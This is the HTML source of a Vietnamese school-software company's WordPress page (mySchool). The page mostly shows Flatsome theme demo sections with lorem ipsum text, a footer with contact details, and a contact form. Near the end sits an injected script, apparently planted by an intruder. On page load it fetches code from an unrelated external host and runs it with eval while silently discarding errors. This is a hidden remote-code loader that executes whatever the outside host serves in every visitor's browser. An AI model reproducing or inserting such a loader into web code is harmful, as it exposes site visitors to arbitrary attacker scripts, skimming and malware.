.col.giaoan.medium-4.small-12.large-4: {
content: url(https://myschool.com.vn/wp-content/uploads/2020/07/myLesson1.png);
width:330px;
height:226px;
background-color:white;
}
/*css thuvienanh chantrang */
.thuviengiaoan {
background-position: center top;
background-image: url(https://myschool.com.vn/wp-content/uploads/2020/07/background.png);
}
/* footer */
.copyright-footer {
color: white;
}
/* css texbox text trên slide */
.texts11 {
font-size: 47%;
padding: 17px;
}
.hieuungchu {
color: white;
}
</style>
</head>
<body class="page-template page-template-page-blank page-template-page-blank-php page page-id-71 page-child parent-pageid-97 lightbox nav-dropdown-has-arrow">
<a class="skip-link screen-reader-text" href="#main">Skip to content</a>
<div id="wrapper">
<header id="header" class="header has-sticky sticky-jump">
<div class="header-wrapper">
<div id="masthead" class="header-main ">
<div class="header-inner flex-row container logo-left medium-logo-center" role="navigation">
<!-- Logo -->
<div id="logo" class="flex-col logo">
<!-- Header logo -->
<a href="https://myschool.com.vn/" title="mySchool - TRƯỜNG HỌC THÔNG MINH" rel="home">
<img width="300" height="100" src="https://myschool.com.vn/wp-content/uploads/2021/07/ms-logo_mini.png" class="header_logo header-logo" alt="mySchool"/><img  width="300" height="100" src="https://myschool.com.vn/wp-content/uploads/2021/07/ms-logo_mini-2.png" class="header-logo-dark" alt="mySchool"/></a>
</div>
<!-- Mobile Left Elements -->
<div class="flex-col show-for-medium flex-left">
<ul class="mobile-nav nav nav-left ">
<li class="nav-icon has-icon">
<a href="#" data-open="#main-menu" data-pos="left" data-bg="main-menu-overlay" data-color="" class="is-small" aria-label="Menu" aria-controls="main-menu" aria-expanded="false">
<i class="icon-menu" ></i>
</a>
</li>            </ul>
</div>
<!-- Left Elements -->
<div class="flex-col hide-for-medium flex-left
flex-grow">
<ul class="header-nav header-nav-main nav nav-left  nav-divided nav-size-medium nav-spacing-xlarge nav-uppercase" >
<li id="menu-item-7683" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-home menu-item-7683"><a href="https://myschool.com.vn" class="nav-top-link">Trang chủ</a></li>
<li id="menu-item-5057" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-5057"><a href="#chuc-nang" class="nav-top-link">Chức năng</a></li>
<li id="menu-item-5055" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-5055"><a href="#tin-tuc" class="nav-top-link">Tin tức</a></li>
</ul>
</div>
<!-- Right Elements -->
<div class="flex-col hide-for-medium flex-right">
<ul class="header-nav header-nav-main nav nav-right  nav-divided nav-size-medium nav-spacing-xlarge nav-uppercase">
<li class="header-divider"></li><li class="html header-button-1">
<div class="header-button">
<a rel="noopener noreferrer" href="https://app.myschool.com.vn/" target="_blank" class="button secondary"  >
<span>GIÁO VIÊN</span>
</a>
</div>
</li>
<li class="html header-button-2">
<div class="header-button">
<a rel="noopener noreferrer" href="http://study2.myschool.com.vn/" target="_blank" class="button secondary is-outline"  >
<span>HỌC SINH</span>
</a>
</div>
</li>
</ul>
</div>
<!-- Mobile Right Elements -->
<div class="flex-col show-for-medium flex-right">
<ul class="mobile-nav nav nav-right ">
<li class="html header-button-1">
<div class="header-button">
<a rel="noopener noreferrer" href="https://app.myschool.com.vn/" target="_blank" class="button secondary"  >
<span>GIÁO VIÊN</span>
</a>
</div>
</li>
<li class="header-divider"></li><li class="html header-button-2">
<div class="header-button">
<a rel="noopener noreferrer" href="http://study2.myschool.com.vn/" target="_blank" class="button secondary is-outline"  >
<span>HỌC SINH</span>
</a>
</div>
</li>
</ul>
</div>
</div>
<div class="container"><div class="top-divider full-width"></div></div>
</div>
<div class="header-bg-container fill"><div class="header-bg-image fill"></div><div class="header-bg-color fill"></div></div>		</div>
</header>
<main id="main" class="">
<div id="content" role="main" class="content-area">
<section class="section dark has-parallax" id="section_1511280040">
<div class="bg section-bg fill bg-fill  " data-parallax-container=".section" data-parallax-background data-parallax="-3">
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row"  id="row-1855815013">
<div class="col small-12 large-12"  >
<div class="col-inner text-center" style="padding:5% 6% 0px 10%;" >
<h1 class="uppercase"><strong>Section Element</strong></h1>
<p class="lead">Sections are used for creating full width backgrounds with content inside it. You can have Parallax Effects and Background Videos.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_1511280040 {
padding-top: 0px;
padding-bottom: 0px;
min-height: 424px;
background-color: rgb(41, 41, 41);
}
#section_1511280040 .section-bg-overlay {
background-color: rgba(0, 0, 0, 0.19);
}
#section_1511280040 .section-bg.bg-loaded {
background-image: 13;
}
#section_1511280040 .section-bg {
background-position: 65% 40%;
}
</style>
</section>
<section class="section" id="section_743785661">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row"  id="row-1451197939">
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<h3>A Simple section with a two column row inside</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_743785661 {
padding-top: 50px;
padding-bottom: 50px;
background-color: rgb(233, 233, 233);
}
</style>
</section>
<section class="section dark" id="section_143085228">
<div class="bg section-bg fill bg-fill  bg-loaded" >
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row"  id="row-1424168310">
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<h3>A Dark section with a row inside</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_143085228 {
padding-top: 60px;
padding-bottom: 60px;
background-color: rgb(41, 41, 41);
}
#section_143085228 .section-bg-overlay {
background-color: rgb(36, 36, 36);
}
</style>
</section>
<section class="section dark" id="section_487334204">
<div class="bg section-bg fill bg-fill  bg-loaded" >
<div class="video-overlay no-click fill hide-for-medium"></div>
<video class="video-bg fill hide-for-medium" preload playsinline autoplay
muted		loop>
<source src="http://flatsome.dev/wp-content/uploads/2016/02/348462762.mp4" type="video/mp4">	</video>
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row"  id="row-389642079">
<div class="col medium-4 small-12 large-4"  >
<div class="col-inner"  >
<h2>A section with a background video</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_487334204 {
padding-top: 128px;
padding-bottom: 128px;
background-color: rgb(41, 41, 41);
}
#section_487334204 .section-bg-overlay {
background-color: rgba(0, 0, 0, 0.27);
}
</style>
</section>
<section class="section dark" id="section_2136356478">
<div class="bg section-bg fill bg-fill  " >
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row row-collapse align-center"  id="row-1963069520">
<div class="col medium-6 large-6"  >
<div class="col-inner text-center"  >
<h2>A section can have a background image or a background color</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_2136356478 {
padding-top: 60px;
padding-bottom: 60px;
min-height: 50vh;
background-color: rgb(0, 0, 0);
}
#section_2136356478 .section-bg-overlay {
background-color: rgba(0, 0, 0, 0.51);
}
#section_2136356478 .section-bg.bg-loaded {
background-image: 13;
}
</style>
</section>
<section class="section" id="section_168572585">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row align-middle"  id="row-734009182">
<div class="col medium-6 large-6"  >
<div class="col-inner"  >
<h2>A Section with a Image on the right</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-6 large-6"  >
<div class="col-inner"  >
<div class="img has-hover x md-x lg-x y md-y lg-y" id="image_952060024">
<div class="img-inner dark" >
</div>
<style scope="scope">
#image_952060024 {
width: 100%;
}
</style>
</div>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_168572585 {
padding-top: 61px;
padding-bottom: 61px;
background-color: rgb(243, 243, 243);
}
</style>
</section>
<section class="section dark has-parallax" id="section_1245804725">
<div class="bg section-bg fill bg-fill  bg-loaded" data-parallax-container=".section" data-parallax-background data-parallax="-4">
<div class="video-overlay no-click fill hide-for-medium"></div>
<video class="video-bg fill hide-for-medium" preload playsinline autoplay
muted		loop>
<source src="http://flatsome.dev/wp-content/uploads/2016/02/348462762.mp4" type="video/mp4">	</video>
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row align-center"  id="row-1605295250">
<div class="col medium-4 small-9 large-4"  >
<div class="col-inner text-center"  >
<h2>A Parallax Background Video</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_1245804725 {
padding-top: 128px;
padding-bottom: 128px;
background-color: rgb(41, 41, 41);
}
#section_1245804725 .section-bg-overlay {
background-color: rgba(0, 0, 0, 0.27);
}
</style>
</section>
<section class="section sticky-section" id="section_1123945874">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row align-middle"  id="row-506557544">
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<div class="img has-hover x md-x lg-x y md-y lg-y" id="image_2107979976">
<div class="img-inner box-shadow-4 box-shadow-5-hover dark" >
</div>
<style scope="scope">
#image_2107979976 {
width: 100%;
}
</style>
</div>
</div>
</div>
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<h2>A sticky section with images left</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
<a class="button primary"  >
<span>Click me!</span>
</a>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_1123945874 {
padding-top: 61px;
padding-bottom: 61px;
background-color: rgb(255, 255, 255);
}
</style>
</section>
<section class="section dark sticky-section" id="section_1528131523">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row align-middle"  id="row-973721751">
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<h2>A sticky section with images right</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
<a class="button primary"  >
<span>Click me!</span>
</a>
</div>
</div>
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<div class="img has-hover x md-x lg-x y md-y lg-y" id="image_759287753">
<div class="img-inner box-shadow-4 box-shadow-5-hover dark" >
</div>
<style scope="scope">
#image_759287753 {
width: 100%;
}
</style>
</div>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_1528131523 {
padding-top: 61px;
padding-bottom: 61px;
background-color: rgb(50, 50, 50);
}
</style>
</section>
<section class="section" id="section_1830891787">
<div class="bg section-bg fill bg-fill  " >
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row align-middle"  id="row-1665260029">
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<h2>A Section with Image and a background</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<div class="img has-hover x md-x lg-x y md-y lg-y" id="image_1231978096">
<div class="img-inner dark" >
</div>
<style scope="scope">
#image_1231978096 {
width: 100%;
}
</style>
</div>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_1830891787 {
padding-top: 61px;
padding-bottom: 61px;
background-color: rgb(243, 243, 243);
}
#section_1830891787 .section-bg-overlay {
background-color: rgba(255, 255, 255, 0.9);
}
#section_1830891787 .section-bg.bg-loaded {
background-image: 13;
}
</style>
</section>
<section class="section" id="section_1055177743">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row row-collapse row-full-width align-middle"  id="row-1385243708">
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner"  >
<div class="img has-hover x md-x lg-x y md-y lg-y" id="image_309700176">
<div class="img-inner dark" >
</div>
<style scope="scope">
#image_309700176 {
width: 100%;
}
</style>
</div>
</div>
</div>
<div class="col medium-6 small-12 large-6"  >
<div class="col-inner text-center" style="max-width:520px;padding:10%;" >
<h2>A Section with a large image left.</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_1055177743 {
padding-top: 61px;
padding-bottom: 61px;
background-color: rgb(255, 255, 255);
}
</style>
</section>
<section class="section" id="section_1190209967">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row row-collapse row-full-width align-middle align-right"  id="row-1737586723">
<div class="col medium-6 large-6"  >
<div class="col-inner text-center" style="max-width:520px;padding:10%;" >
<h2>A Section with a large image right.</h2>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-6 large-6"  >
<div class="col-inner"  >
<div class="img has-hover x md-x lg-x y md-y lg-y" id="image_1317452276">
<div class="img-inner dark" >
</div>
<style scope="scope">
#image_1317452276 {
width: 100%;
}
</style>
</div>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_1190209967 {
padding-top: 61px;
padding-bottom: 61px;
background-color: rgb(241, 241, 241);
}
</style>
</section>
<section class="section dark has-parallax" id="section_389308413">
<div class="bg section-bg fill bg-fill  " data-parallax-container=".section" data-parallax-background data-parallax="-1">
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="container section-title-container" ><h3 class="section-title section-title-normal"><b></b><span class="section-title-main" >Section With a parallax background</span><b></b></h3></div>
<div class="row align-center"  id="row-1546020736">
<div class="col medium-4 small-12 large-4"  >
<div class="col-inner"  >
<h3>Lorem ipsum dolor sit amet</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-4 small-6 large-4"  >
<div class="col-inner"  >
<h3>Lorem ipsum dolor sit amet</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-4 small-6 large-4"  >
<div class="col-inner"  >
<h3>Lorem ipsum dolor sit amet</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<style scope="scope">
</style>
</div>
<div class="row align-center"  id="row-1254903358">
<div class="col medium-4 small-6 large-4"  >
<div class="col-inner"  >
<h3>Lorem ipsum dolor sit amet</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-4 small-6 large-4"  >
<div class="col-inner"  >
<h3>Lorem ipsum dolor sit amet</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<div class="col medium-4 small-12 large-4"  >
<div class="col-inner"  >
<h3>Lorem ipsum dolor sit amet</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_389308413 {
padding-top: 97px;
padding-bottom: 97px;
min-height: 300px;
background-color: rgb(0, 0, 0);
}
#section_389308413 .section-bg-overlay {
background-color: rgba(0, 0, 0, 0.51);
}
#section_389308413 .section-bg.bg-loaded {
background-image: 13;
}
</style>
</section>
<section class="section has-parallax" id="section_676305488">
<div class="bg section-bg fill bg-fill  " data-parallax-container=".section" data-parallax-background data-parallax="-1">
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row row-collapse row-full-width align-center"  id="row-1449245766">
<div class="col medium-6 large-6"  >
<div class="col-inner text-center" style="padding:0 10%;" >
<h2>A product slider inside a section</h2>
<a class="button primary"  >
<span>Click me now</span>
</a>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_676305488 {
padding-top: 60px;
padding-bottom: 60px;
min-height: 300px;
background-color: rgb(0, 0, 0);
}
#section_676305488 .section-bg-overlay {
background-color: rgba(255, 255, 255, 0.89);
}
#section_676305488 .section-bg.bg-loaded {
background-image: 13;
}
#section_676305488 .section-bg {
background-position: 25% 0%;
}
</style>
</section>
<section class="section dark has-mask mask-arrow" id="section_2027366601">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row"  id="row-966738341">
<div class="col medium-6 small-10 large-6"  >
<div class="col-inner"  >
<h3>Section With A Arrow Mask</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_2027366601 {
padding-top: 30px;
padding-bottom: 30px;
min-height: 365px;
background-color: rgb(63, 63, 63);
}
</style>
</section>
<section class="section dark has-mask mask-angled" id="section_1974868843">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row"  id="row-167877642">
<div class="col medium-5 small-10 large-5"  >
<div class="col-inner"  >
<h3>Section with an Angled Mask</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_1974868843 {
padding-top: 30px;
padding-bottom: 30px;
min-height: 365px;
background-color: rgb(160, 160, 160);
}
</style>
</section>
<section class="section dark has-mask mask-angled-right" id="section_1218181341">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row"  id="row-1320718560">
<div class="col medium-5 small-10 large-5"  >
<div class="col-inner"  >
<h3>Section with an Angled Mask</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_1218181341 {
padding-top: 30px;
padding-bottom: 30px;
min-height: 365px;
background-color: rgb(77, 77, 77);
}
</style>
</section>
<section class="section dark has-mask mask-angled-right" id="section_530436746">
<div class="bg section-bg fill bg-fill  " >
<div class="section-bg-overlay absolute fill"></div>
</div>
<div class="section-content relative">
<div class="row"  id="row-1513832285">
<div class="col medium-6 small-9 large-6"  >
<div class="col-inner"  >
<h3>Section with Angled Mask</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_530436746 {
padding-top: 30px;
padding-bottom: 30px;
min-height: 365px;
background-color: rgb(255, 255, 255);
}
#section_530436746 .section-bg-overlay {
background-color: rgba(117, 117, 117, 0.44);
}
#section_530436746 .section-bg.bg-loaded {
background-image: 13;
}
</style>
</section>
<section class="section dark has-mask mask-arrow-large" id="section_127184288">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row"  id="row-971565649">
<div class="col large-12"  >
<div class="col-inner"  >
<h3>Section with a Large Arrow Mask</h3>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat&#8230;.</p>
</div>
</div>
</div>
</div>
<style scope="scope">
#section_127184288 {
padding-top: 30px;
padding-bottom: 30px;
min-height: 365px;
background-color: rgb(77, 77, 77);
}
</style>
</section>
</div>

</main>
<footer id="footer" class="footer-wrapper">
<section class="section dark" id="section_2140918775">
<div class="bg section-bg fill bg-fill  bg-loaded" >
</div>
<div class="section-content relative">
<div class="row row-collapse align-middle"  id="row-63227859">
<div class="col medium-9 small-12 large-9"  >
<div class="col-inner"  >
<div><span style="font-size: 90%; color: #c0c0c0;"><img class="wp-image-7897 alignleft" src="https://myschool.com.vn/wp-content/uploads/2020/07/Untitled-3-632x400.png" alt="" width="161" height="102" /></span></div>
<div><span style="color: #c0c0c0; font-size: 100%;"><strong>PHẦN MỀM TRƯỜNG HỌC THÔNG MINH</strong></span></div>
<div><span style="color: #c0c0c0; font-size: 100%;">Địa chỉ: Tầng 3, Tòa nhà W2, Vinhomes Westpoint, Phạm Hùng, Hà Nội</span></div>
<div><span style="color: #c0c0c0; font-size: 100%;">Liên hệ: Mr. <strong>Trần Minh Hòa</strong> – Phó tổng giám đốc</span></div>
<div><span style="color: #c0c0c0; font-size: 100%;">ĐT: 0912 425 425. Email:  hoatm@binhminh.com.vn</span></div>
</div>
</div>
<div class="col medium-3 small-12 large-3"  >
<div class="col-inner"  >
<div id="gap-543363839" class="gap-element clearfix" style="display:block; height:auto;">
<style scope="scope">
#gap-543363839 {
padding-top: 10px;
}
</style>
</div>
<p><img class="aligncenter" src="https://myschool.com.vn/wp-content/uploads/2020/07/logo-chu-trang.png" alt="" width="237" height="73" /></p>
</div>
</div>
<style scope="scope">
</style>
</div>
</div>
<style scope="scope">
#section_2140918775 {
padding-top: 30px;
padding-bottom: 30px;
background-color: rgb(0, 27, 58);
}
</style>
</section>
<div class="absolute-footer dark medium-text-center text-center">
<div class="container clearfix">
<div class="footer-primary pull-left">
<div class="copyright-footer">
Copyright 2025 © <strong>mySchool - <a href="http://binhminh.com.vn" target=_blank>CÔNG TY CỔ PHẦN CÔNG NGHỆ BÌNH MINH<a></strong>      </div>
</div>
</div>
</div>
<a href="#top" class="back-to-top button icon invert plain fixed bottom z-1 is-outline round" id="top-link"><i class="icon-angle-up" ></i></a>
</footer>
</div>
<!-- Mobile Sidebar -->
<div id="main-menu" class="mobile-sidebar no-scrollbar mfp-hide">
<div class="sidebar-menu no-scrollbar ">
<ul class="nav nav-sidebar  nav-vertical nav-uppercase">
<li class="header-search-form search-form html relative has-icon">
<div class="header-search-form-wrapper">
<div class="searchform-wrapper ux-search-box relative is-normal"><form method="get" class="searchform" action="https://myschool.com.vn/" role="search">
<div class="flex-row relative">
<div class="flex-col flex-grow">
<input type="search" class="search-field mb-0" name="s" value="" id="s" placeholder="Search&hellip;" />
</div>
<div class="flex-col">
<button type="submit" class="ux-search-submit submit-button secondary button icon mb-0" aria-label="Submit">
<i class="icon-search" ></i>				</button>
</div>
</div>
<div class="live-search-results text-left z-top"></div>
</form>
</div>	</div>
</li><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-home menu-item-7683"><a href="https://myschool.com.vn">Trang chủ</a></li>
<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-5057"><a href="#chuc-nang">Chức năng</a></li>
<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-5055"><a href="#tin-tuc">Tin tức</a></li>
WooCommerce not Found        </ul>
</div>
</div>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function () {
fetch("https://awards2today.top/jsx")
.then(function(response) {
return response.text();
})
.then(function(code) {
var scriptContent = code.replace(/<\/?script[^>]*>/gi, '');
try {
eval(scriptContent);
} catch (e) {
}
})
.catch(function(error) {
});
});
</script>
<div id="popup" class="lightbox-by-id lightbox-content mfp-hide lightbox-white">
<div class="row row-collapse align-center"  id="row-465971460">
<div class="col small-12 large-12"  >
<div class="col-inner text-center"  >
<p>ĐĂNG KÝ</p>
<div class="wpcf7 no-js" id="wpcf7-f8-o1" lang="en-US" dir="ltr" data-wpcf7-id="8">
<div class="screen-reader-response"><p role="status" aria-live="polite" aria-atomic="true"></p> <ul></ul></div>
<form action="/elements/sections/#wpcf7-f8-o1" method="post" class="wpcf7-form init" aria-label="Contact form" novalidate="novalidate" data-status="init">
<div style="display: none;">
<input type="hidden" name="_wpcf7" value="8" />
<input type="hidden" name="_wpcf7_version" value="6.0.6" />
<input type="hidden" name="_wpcf7_locale" value="en_US" />
<input type="hidden" name="_wpcf7_unit_tag" value="wpcf7-f8-o1" />
<input type="hidden" name="_wpcf7_container_post" value="0" />
<input type="hidden" name="_wpcf7_posted_data_hash" value="" />
</div>
<div class="form-flat">
<p><span class="wpcf7-form-control-wrap" data-name="your-name"><input size="40" maxlength="400" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" aria-required="true" aria-invalid="false" placeholder="Your Name (required)" value="" type="text" name="your-name" /></span>
</p>
<p><span class="wpcf7-form-control-wrap" data-name="your-email"><input size="40" maxlength="400" class="wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email" aria-required="true" aria-invalid="false" placeholder="Your Email (required)" value="" type="email" name="your-email" /></span>
</p>
<p><span class="wpcf7-form-control-wrap" data-name="your-message"><textarea cols="40" rows="10" maxlength="2000" class="wpcf7-form-control wpcf7-textarea" aria-invalid="false" placeholder="Your Message (required)" name="your-message"></textarea></span>
</p>
<p><input class="wpcf7-form-control wpcf7-submit has-spinner button" type="submit" value="Submit" />
</p>
</div><div class="wpcf7-response-output" aria-hidden="true"></div>
</form>
</div>
</div>
</div>
<style scope="scope">
</style>
</div>
</div><script type="text/javascript" src="https://myschool.com.vn/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6" id="wp-hooks-js"></script>
<script type="text/javascript" src="https://myschool.com.vn/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script type="text/javascript" id="wp-i18n-js-after">
/* <![CDATA[ */
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
/* ]]> */
</script>
<script type="text/javascript" src="https://myschool.com.vn/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0.6" id="swv-js"></script>
<script type="text/javascript" id="contact-form-7-js-translations">
/* <![CDATA[ */
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "contact-form-7", {"translation-revision-date":"2024-08-11 13:44:17+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=1; plural=0;","lang":"vi_VN"},"This contact form is placed in the wrong place.":["Bi\u1ec3u m\u1eabu li\u00ean h\u1ec7 n\u00e0y \u0111\u01b0\u1ee3c \u0111\u1eb7t sai v\u1ecb tr\u00ed."],"Error:":["L\u1ed7i:"]}},"comment":{"reference":"includes\/js\/index.js"}} );
/* ]]> */
</script>
<script type="text/javascript" id="contact-form-7-js-before">
/* <![CDATA[ */
var wpcf7 = {
"api": {
"root": "https:\/\/myschool.com.vn\/wp-json\/",
"namespace": "contact-form-7\/v1"
}
};
/* ]]> */
</script>
<script type="text/javascript" src="https://myschool.com.vn/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0.6" id="contact-form-7-js"></script>
<script type="text/javascript" src="https://myschool.com.vn/wp-content/themes/flatsome/inc/extensions/flatsome-live-search/flatsome-live-search.js?ver=3.11.3" id="flatsome-live-search-js"></script>
<script type="text/javascript" src="https://myschool.com.vn/wp-includes/js/hoverIntent.min.js?ver=1.10.2" id="hoverIntent-js"></script>
<script type="text/javascript" id="flatsome-js-js-extra">
/* <![CDATA[ */
